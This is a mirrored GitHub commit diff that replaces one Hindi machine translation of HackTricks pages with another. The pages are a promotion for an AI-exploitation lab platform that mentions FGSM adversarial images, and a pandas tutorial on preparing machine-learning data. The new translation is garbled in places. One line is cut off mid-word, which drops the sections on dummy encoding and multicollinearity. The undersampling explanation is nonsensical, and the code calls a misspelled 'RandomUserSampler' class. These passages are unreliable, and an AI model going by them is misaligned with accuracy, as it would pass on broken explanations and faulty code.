mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a.
This commit is contained in:
parent
710b0ae22a
commit
81a6733314
39 changed files with 1920 additions and 3145 deletions
|
@ -1,50 +1,50 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो बनने तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* अपनी हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को पीआर जमा करके और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# प्रस्तुतीकरण
|
||||
# प्रस्तुति
|
||||
|
||||
**BrainSmasher** एक मंच है जिसका उद्देश्य **पेंटेस्टर्स, शोधकर्ता, छात्र, A.I. साइबरसिक्योरिटी इंजीनियर्स** को व्यावहारिक लैब्स पर काम करके वाणिज्यिक A.I. अनुप्रयोगों के लिए सभी तकनीकों का अभ्यास और सीखने में मदद करना है, जो कई प्रणालियों को पुन: प्रस्तुत करते हैं, जैसे चेहरा पहचान, भाषण पहचान, एन्सेम्बल इमेज क्लासिफिकेशन, स्वायत्त ड्राइव, मैलवेयर इवेजन, चैटबॉट, डेटा पॉइजनिंग आदि...
|
||||
**BrainSmasher** एक प्लेटफ़ॉर्म है जिसका उद्देश्य है **पेंटेस्टर्स, शोधकर्ता, छात्र, ए.आई. साइबर सुरक्षा इंजीनियर्स** को मदद करना और सभी तकनीकों को सीखने में मदद करना जो **वाणिज्यिक ए.आई.** एप्लिकेशनों को उत्पीड़ित करने के लिए है, विशेष रूप से तैयार किए गए लैब्स पर काम करके जो कई सिस्टमों को पुनर्जीवित करते हैं, जैसे चेहरे की पहचान, भाषा की पहचान, संगठित छवि वर्गीकरण, स्वतंत्र ड्राइव, मैलवेयर टालना, चैटबॉट, डेटा पॉइजनिंग आदि...
|
||||
|
||||
हर महीने वाणिज्यिक A.I. अनुप्रयोगों में पाए जाने वाले विभिन्न विषयों पर एक लैब पोस्ट की जाएगी, जिसमें **3 अलग-अलग कठिनाइयां** (चुनौतियां के नाम से) होंगी, ताकि उपयोगकर्ता को इसके पीछे की सभी मैकेनिक्स को **समझने** में **मार्गदर्शन** किया जा सके और शोषण के **विभिन्न** तरीकों का अभ्यास किया जा सके।
|
||||
प्रत्येक महीने वाणिज्यिक ए.आई. एप्लिकेशनों में पाए जाने वाले विभिन्न विषय पर एक लैब पोस्ट किया जाएगा, जिसमें **3 विभिन्न कठिनाई** (नामित चैलेंज) होंगे, ताकि उपयोगकर्ता को इसके पीछे की सभी यांत्रिकियों को समझने और विभिन्न उत्पीड़न के तरीकों का अभ्यास करने में मार्गदर्शन किया जा सके।
|
||||
|
||||
चूंकि A.I. अनुप्रयोग अपेक्षाकृत नए हैं, इसलिए यह भी संभावना है कि लैब्स के लिए **कठिन कठिनाई चुनौतियों के लिए कुछ सार्वजनिक ज्ञात शोषण के तरीके नहीं हो सकते हैं**, इसलिए यह आप पर निर्भर है कि सही समाधान खोजें। शायद कुछ चुनौतियों को "**मानक**" **साइबरसिक्योरिटी** तकनीकों के साथ **मशीन** **लर्निंग** विरोधी हमलों का **संयोजन** करने की आवश्यकता हो सकती है ;)
|
||||
क्योंकि ए.आई. एप्लिकेशन नए हैं, इसका भी संभावना है कि लैब्स के लिए **कठिनाई चुनौतियों के लिए कुछ सार्वजनिक जाने जाने वाले उत्पीड़न के तरीके न हों**, इसलिए आपको सही समाधान खोजने की जिम्मेदारी है। शायद कुछ चुनौतियों को "**मानक**" **साइबर सुरक्षा** तकनीकों के साथ **मशीन लर्निंग** प्रतिकूल हमलों का **संयोजन** चाहिए ;)
|
||||
|
||||
मंच, जो अब **बीटा** संस्करण में है, भविष्य में **भुगतान की गई** प्रतियोगिताओं, **नौकरी** **प्रस्तावों** की पोस्टिंग, **रैंकिंग** प्रणाली, कई A.I. शोषण विषयों पर **ट्यूटोरियल**, समुदाय द्वारा उपयोग के लिए व्यक्तिगत **लैब्स** या विभिन्न चुनौतियों का **प्रस्ताव** करके **पैसा कमाने** की संभावना और पहले से मौजूद A.I. लैब अनुप्रयोगों के लिए, और पहले से मौजूद चुनौतियों में संशोधन का प्रस्ताव भी देने की संभावना होगी ताकि उनकी रोबस्टनेस को विभिन्न हमलों के खिलाफ बढ़ाया जा सके।
|
||||
यह प्लेटफ़ॉर्म, जो अब **बीटा** संस्करण में है, भविष्य में भी **भुगतान की प्रतियोगिताएं, नौकरी की पेशकशें, रैंकिंग** प्रणाली, विभिन्न ए.आई. उत्पीड़न विषयों पर **ट्यूटोरियल**, व्यक्तिगत **लैब्स** या विभिन्न चुनौतियों की पेशकश करके **पैसे कमाने** की संभावना भी शामिल होगी, जो पहले से मौजूद ए.आई. लैब एप्लिकेशनों के लिए समुदाय द्वारा उपयोग के लिए होंगे और समुदाय के द्वारा प्रस्तावित परिवर्तनों की पेशकश करने के लिए पहले से मौजूद चुनौतियों की मजबूती को बढ़ाने के लिए।
|
||||
|
||||
A.I. के शोषण के लिए सभी **सामग्री और तकनीकें यहां पोस्ट की जाएंगी** hacktricks के एक समर्पित खंड में।
|
||||
**ए.आई. के उत्पीड़न के लिए सामग्री और तकनीकें** यहाँ पोस्ट की जाएगी **एक विशेष खंड में हैकट्रिक्स** में।
|
||||
|
||||
**जबकि** हम **बीटा** संस्करण में हैं और ऊपर वर्णित सभी सुविधाओं के कार्यान्वयन को पूरा कर रहे हैं, सदस्यता और सभी पहले से पोस्ट की गई लैब्स और उनकी संबंधित **चुनौतियां मुफ्त हैं**।\
|
||||
**तो A.I. का शोषण कैसे करें मुफ्त में सीखें जब आप कर सकते हैं** [**BrA.I.Smasher वेबसाइट**](https://beta.brainsmasher.eu)\
|
||||
मज़े करें ;)
|
||||
**जब** हम **बीटा** संस्करण में हैं और ऊपर वर्णित सभी विशेषताओं का पूरा करने के लिए काम कर रहे हैं, **सदस्यता और पहले से ही पोस्ट किए गए लैब्स के साथ उनके संबंधित चुनौतियाँ मुफ्त हैं**।\
|
||||
**तो जब तक आप कर सकते हैं, ए.आई. को उत्पीड़ित करना सीखना शुरू करें मुफ्त में** [**BrA.I.Smasher वेबसाइट**](https://beta.brainsmasher.eu)\
|
||||
आनंद लें ;)
|
||||
|
||||
_Hacktricks और Carlos Polop को इस अवसर के लिए बहुत धन्यवाद_
|
||||
_Hacktricks और कार्लोस पोलोप का धन्यवाद जिन्होंने हमें यह अवसर दिया_
|
||||
|
||||
> _Walter Miele से BrA.I.nsmasher_
|
||||
> _वॉल्टर मीले से BrA.I.nsmasher_
|
||||
|
||||
# रजिस्ट्री चैलेंज
|
||||
|
||||
[**BrA.I.Smasher** ](https://beta.brainsmasher.eu)में रजिस्टर करने के लिए आपको एक आसान चुनौती हल करनी होगी ([**यहां**](https://beta.brainsmasher.eu/registrationChallenge))।\
|
||||
बस सोचें कि आप एक न्यूरोनल नेटवर्क को कैसे भ्रमित कर सकते हैं जबकि दूसरे को नहीं, जानते हुए कि एक पांडा का पता बेहतर लगाता है जबकि दूसरा खराब है...
|
||||
[**BrA.I.Smasher में पंजीकरण करने**](https://beta.brainsmasher.eu) के लिए आपको एक आसान चुनौती का समाधान करना होगा ([**यहाँ**](https://beta.brainsmasher.eu/registrationChallenge))।\
|
||||
बस सोचें कि आप एक न्यूरोनल नेटवर्क को कैसे भ्रमित कर सकते हैं जबकि दूसरे को भ्रमित न करें जानते हुए कि एक पांडा को बेहतर ढंग से पहचानता है जबकि दूसरा बुरा है...
|
||||
|
||||
{% hint style="info" %}
|
||||
हालांकि, अगर किसी बिंदु पर आप **चुनौती को हल करने का तरीका नहीं जानते** हैं, या **यहां तक कि अगर आप इसे हल कर लेते हैं**, तो [**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing) में आधिकारिक समाधान देखें।
|
||||
हालांकि, अगर किसी समय आपको **चुनौती का समाधान कैसे करना है पता नहीं है**, या **यदि आप इसे हल कर लेते हैं**, तो [**गूगल कोलैब**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing) में आधिकारिक समाधान देखें।
|
||||
{% endhint %}
|
||||
|
||||
मुझे आपको बताना होगा कि चुनौती को पास करने के **आसान तरीके** हैं, लेकिन यह **समाधान** **शानदार** है क्योंकि आप सीखेंगे कि चुनौती को कैसे पास करें एक **Adversarial Image performing a Fast Gradient Signed Method (FGSM) attack for images.**
|
||||
मुझे आपको बताना होगा कि चुनौती पास करने के लिए **आसान तरीके** हैं, लेकिन यह **समाधान** शानदार है क्योंकि आप एक **विपरीत छवि का एक तेज ग्रेडिएंट साइंड मेथड (FGSM) हमला करने वाली छवि के माध्यम से चुनौती पार करना सीखेंगे।**
|
||||
|
||||
# और ट्यूटोरियल
|
||||
# अधिक ट्यूटोरियल
|
||||
|
||||
{% content-ref url="basic-captcha-breaker.md" %}
|
||||
[basic-captcha-breaker.md](basic-captcha-breaker.md)
|
||||
|
@ -53,14 +53,14 @@ _Hacktricks और Carlos Polop को इस अवसर के लिए ब
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो बनने तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* अपनी हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को पीआर जमा करके और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) में या मुझे **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) पर **फॉलो करें**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,38 +1,38 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# संभावित डेटा के मूल प्रकार
|
||||
# संभावित डेटा के मूल तरह
|
||||
|
||||
डेटा **निरंतर** (**अनंत** मान) या **श्रेणीबद्ध** (नाममात्र) हो सकता है जहां संभावित मानों की मात्रा **सीमित** होती है।
|
||||
डेटा **निरंतर** (**अनंत** मान) या **श्रेणीबद्ध** (नामांकन) हो सकता है जहाँ संभावित मानों की मात्रा **सीमित** होती है।
|
||||
|
||||
## श्रेणीबद्ध प्रकार
|
||||
|
||||
### द्विआधारी
|
||||
|
||||
केवल **2 संभावित मान**: 1 या 0. यदि किसी डेटासेट में मान स्ट्रिंग फॉर्मेट में हैं (उदा. "True" और "False") तो आप उन मानों को नंबरों से असाइन कर सकते हैं:
|
||||
केवल **2 संभावित मान**: 1 या 0। यदि किसी डेटासेट में मान स्ट्रिंग प्रारूप में हैं (जैसे "सही" और "गलत") तो आप उन मानों को नंबर्स के साथ सम्बोधित करते हैं:
|
||||
```python
|
||||
dataset["column2"] = dataset.column2.map({"T": 1, "F": 0})
|
||||
```
|
||||
### **क्रमिक (Ordinal)**
|
||||
### **क्रमांकीय**
|
||||
|
||||
**मानों का एक क्रम होता है**, जैसे: पहला स्थान, दूसरा स्थान... यदि श्रेणियाँ स्ट्रिंग्स हैं (जैसे: "starter", "amateur", "professional", "expert") तो आप उन्हें संख्याओं में मैप कर सकते हैं जैसा कि हमने बाइनरी मामले में देखा था।
|
||||
**मानों का एक क्रम होता है**, जैसे: 1st place, 2nd place... यदि श्रेणियाँ स्ट्रिंग्स हैं (जैसे: "starter", "amateur", "professional", "expert") तो आप उन्हें नंबर्स में मैप कर सकते हैं जैसे हमने बाइनरी मामले में देखा।
|
||||
```python
|
||||
column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3}
|
||||
dataset['column2'] = dataset.column2.map(column2_mapping)
|
||||
```
|
||||
* **वर्णमाला स्तंभों** के लिए आप उन्हें अधिक आसानी से क्रमबद्ध कर सकते हैं:
|
||||
* वर्णमाला स्तंभों को आसानी से क्रमबद्ध कर सकते हैं:
|
||||
```python
|
||||
# First get all the uniq values alphabetically sorted
|
||||
possible_values_sorted = dataset.column2.sort_values().unique().tolist()
|
||||
|
@ -42,18 +42,18 @@ dataset['column2'] = dataset.column2.map(possible_values_mapping)
|
|||
```
|
||||
### **चक्रीय**
|
||||
|
||||
यह **मानो अनुक्रमिक मूल्य** है क्योंकि इसमें एक क्रम है, लेकिन इसका यह अर्थ नहीं है कि एक दूसरे से बड़ा है। साथ ही, **उनके बीच की दूरी इस बात पर निर्भर करती है** कि आप किस दिशा में गिन रहे हैं। उदाहरण: सप्ताह के दिन, रविवार सोमवार से "बड़ा" नहीं होता।
|
||||
यह **क्रमांकीय मान** की तरह दिखता है क्योंकि एक क्रम है, लेकिन यह यह नहीं मतलब है कि एक बड़ा है या छोटा है। इनके बीच की **दूरी उस दिशा पर निर्भर करती है जिस दिशा में आप गिनती कर रहे हैं**। उदाहरण: सप्ताह के दिन, रविवार सोमवार से "बड़ा" नहीं है।
|
||||
|
||||
* चक्रीय विशेषताओं को एन्कोड करने के **विभिन्न तरीके** होते हैं, कुछ केवल कुछ एल्गोरिदम के साथ काम कर सकते हैं। **सामान्यतः, डमी एन्कोड का उपयोग किया जा सकता है**
|
||||
* चक्रीय विशेषताओं को एन्कोड करने के **विभिन्न तरीके** हैं, कुछ एल्गोरिदम केवल कुछ के साथ काम कर सकते हैं। **सामान्य रूप से, डमी एन्कोड का उपयोग किया जा सकता है**।
|
||||
```python
|
||||
column2_dummies = pd.get_dummies(dataset.column2, drop_first=True)
|
||||
dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1)
|
||||
```
|
||||
### **तारीखें**
|
||||
|
||||
तारीखें **निरंतर** **चर** होती हैं। इन्हें **चक्रीय** (क्योंकि ये दोहराती हैं) **या** **क्रमिक** चर (क्योंकि एक समय पिछले समय से बड़ा होता है) के रूप में देखा जा सकता है।
|
||||
तारीखें **निरंतर** **मान** होती हैं। इन्हें **चक्रीय** (क्योंकि वे दोहराते हैं) या **क्रमांकीय** मान (क्योंकि समय पिछले समय से अधिक होता है) के रूप में देखा जा सकता है।
|
||||
|
||||
* आमतौर पर तारीखों का उपयोग **अनुक्रमणिका** के रूप में किया जाता है
|
||||
* आम तौर पर तारीखें **सूची** के रूप में प्रयोग की जाती हैं
|
||||
```python
|
||||
# Transform dates to datetime
|
||||
dataset["column_date"] = pd.to_datetime(dataset.column_date)
|
||||
|
@ -81,26 +81,14 @@ dataset['weekday'] = dataset.transaction_date.dt.weekday
|
|||
# get day names
|
||||
dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name())
|
||||
```
|
||||
### बहु-श्रेणी/नाममात्र
|
||||
### बहु-श्रेणी/नामांकन
|
||||
|
||||
**2 से अधिक श्रेणियाँ** जिनका कोई संबंधित क्रम नहीं होता। `dataset.describe(include='all')` का उपयोग करके प्रत्येक फीचर की श्रेणियों के बारे में जानकारी प्राप्त करें।
|
||||
**2 से अधिक श्रेणियाँ** जो किसी संबंधित क्रम के साथ नहीं हैं। `dataset.describe(include='all')` का उपयोग करके प्रत्येक विशेषता की श्रेणियों के बारे में जानकारी प्राप्त करें।
|
||||
|
||||
* एक **संदर्भित स्ट्रिंग** एक **कॉलम होता है जो एक उदाहरण की पहचान करता है** (जैसे किसी व्यक्ति का नाम)। यह डुप्लिकेट हो सकता है (क्योंकि 2 लोगों के नाम समान हो सकते हैं) लेकिन अधिकांश अद्वितीय होंगे। यह डेटा **अनुपयोगी है और हटा दिया जाना चाहिए**।
|
||||
* एक **कुंजी कॉलम** का उपयोग **टेबल्स के बीच डेटा को जोड़ने** के लिए किया जाता है। इस मामले में तत्व अद्वितीय होते हैं। यह डेटा **अनुपयोगी है और हटा दिया जाना चाहिए**।
|
||||
* एक **रेफरिंग स्ट्रिंग** एक **उदाहरण की पहचान करने वाला स्तंभ है** (जैसे किसी व्यक्ति का नाम)। इसे डुप्लिकेट किया जा सकता है (क्योंकि 2 व्यक्ति का समान नाम हो सकता है) लेकिन अधिकांश अद्वितीय होंगे। यह डेटा **अनावश्यक है और हटाया जाना चाहिए**।
|
||||
* एक **कुंजी स्तंभ** का उपयोग **तालिकाओं के बीच डेटा को लिंक करने** के लिए किया जाता है। इस मामले में तत्व अद्वितीय होते हैं। यह डेटा **अनावश्यक है और हटाया जाना चाहिए**।
|
||||
|
||||
बहु-श्रेणी कॉलम को संख्याओं में **एन्कोड करने के लिए** (ताकि ML एल्गोरिथम उन्हें समझ सके), **डमी एन्कोडिंग का उपयोग किया जाता है** (और **वन-हॉट एन्कोडिंग नहीं** क्योंकि यह **परफेक्ट मल्टीकोलिनियरिटी से बचता नहीं है**).
|
||||
|
||||
आप `pd.get_dummies(dataset.column1)` के साथ **बहु-श्रेणी कॉलम को वन-हॉट एन्कोडेड** प्राप्त कर सकते हैं। यह सभी वर्गों को बाइनरी फीचर्स में बदल देगा, इसलिए यह **संभावित प्रत्येक वर्ग के लिए एक नया कॉलम बनाएगा** और एक कॉलम को **सच्चा मान देगा**, और बाकी झूठे होंगे।
|
||||
|
||||
आप `pd.get_dummies(dataset.column1, drop_first=True)` के साथ **बहु-श्रेणी कॉलम को डमी एन्कोडेड** प्राप्त कर सकते हैं। यह सभी वर्गों को बाइनरी फीचर्स में बदल देगा, इसलिए यह **संभावित प्रत्येक वर्ग के लिए एक नया कॉलम माइनस एक बनाएगा** क्योंकि **अंतिम 2 कॉलम को अंतिम बाइनरी कॉलम में "1" या "0" के रूप में प्रतिबिंबित किया जाएगा**। यह परफेक्ट मल्टीकोलिनियरिटी से बचेगा, कॉलमों के बीच संबंधों को कम करते हुए।
|
||||
|
||||
# सहसंबंधी/मल्टीकोलिनियरिटी
|
||||
|
||||
सहसंबंधी तब प्रकट होता है जब **2 फीचर्स एक दूसरे से संबंधित होते हैं**। मल्टीकोलिनियरिटी तब प्रकट होती है जब वे 2 से अधिक होते हैं।
|
||||
|
||||
ML में **आप चाहते हैं कि आपके फीचर्स संभावित परिणामों से संबंधित हों लेकिन आप नहीं चाहते कि वे आपस में संबंधित हों**। इसीलिए **डमी एन्कोडिंग अंतिम दो कॉलमों को मिलाती है** और **वन-हॉट एन्कोडिंग से बेहतर होती है** जो ऐसा नहीं करती और बहु-श्रेणी कॉलम के सभी नए फीचर्स के बीच एक स्पष्ट संबंध बनाती है।
|
||||
|
||||
VIF **Variance Inflation Factor** है जो **फीचर्स की मल्टीकोलिनियरिटी को मापता है**। एक मान **5 से ऊपर का होने का मतलब है कि दो या अधिक सहसंबंधी फीचर्स में से एक को हटा दिया जाना चाहिए**।
|
||||
**बहु-श्र
|
||||
```python
|
||||
from statsmodels.stats.outliers_influence import variance_inflation_factor
|
||||
from statsmodels.tools.tools import add_constant
|
||||
|
@ -110,9 +98,9 @@ onehot_encoded = pd.get_dummies(dataset.column1)
|
|||
X = add_constant(onehot_encoded) # Add previously one-hot encoded data
|
||||
print(pd.Series([variance_inflation_factor(X.values,i) for i in range(X.shape[1])], index=X.columns))
|
||||
```
|
||||
# श्रेणीय असंतुलन
|
||||
# श्रेणीवार असंतुलन
|
||||
|
||||
यह तब होता है जब प्रशिक्षण डेटा में प्रत्येक श्रेणी की **समान मात्रा नहीं होती** है।
|
||||
यह तब होता है जब प्रशिक्षण डेटा में **प्रत्येक श्रेणी की समान मात्रा नहीं** होती है।
|
||||
```python
|
||||
# Get statistic of the features
|
||||
print(dataset.describe(include='all'))
|
||||
|
@ -121,11 +109,11 @@ print(dataset.info())
|
|||
# Get imbalance information of the target column
|
||||
print(dataset.target_column.value_counts())
|
||||
```
|
||||
असंतुलन में हमेशा एक **बहुसंख्यक वर्ग या वर्ग** और एक **अल्पसंख्यक वर्ग या वर्ग** होते हैं।
|
||||
एक असंतुलन में हमेशा **अधिकांश वर्ग या वर्ग** और **कमीन वर्ग या वर्ग** होता है।
|
||||
|
||||
इस समस्या को ठीक करने के 2 मुख्य तरीके हैं:
|
||||
इस समस्या को ठीक करने के लिए 2 मुख्य तरीके हैं:
|
||||
|
||||
* **Undersampling**: बहुसंख्यक वर्ग से यादृच्छिक रूप से चयनित डेटा को हटाना ताकि इसमें अल्पसंख्यक वर्ग के समान संख्या में नमूने हों।
|
||||
* **अंडरसैम्प्लिंग**: अधिकांश वर्ग से यात्रा किए गए डेटा को यात्रा के समान संख्या के सैंपल्स होने के लिए हटाना।
|
||||
```python
|
||||
from imblearn.under_sampling import RandomUnderSampler
|
||||
rus = RandomUserSampler(random_state=1337)
|
||||
|
@ -136,7 +124,7 @@ y = dataset.target_column
|
|||
X_under, y_under = rus.fit_resample(X,y)
|
||||
print(y_under.value_counts()) #Confirm data isn't imbalanced anymore
|
||||
```
|
||||
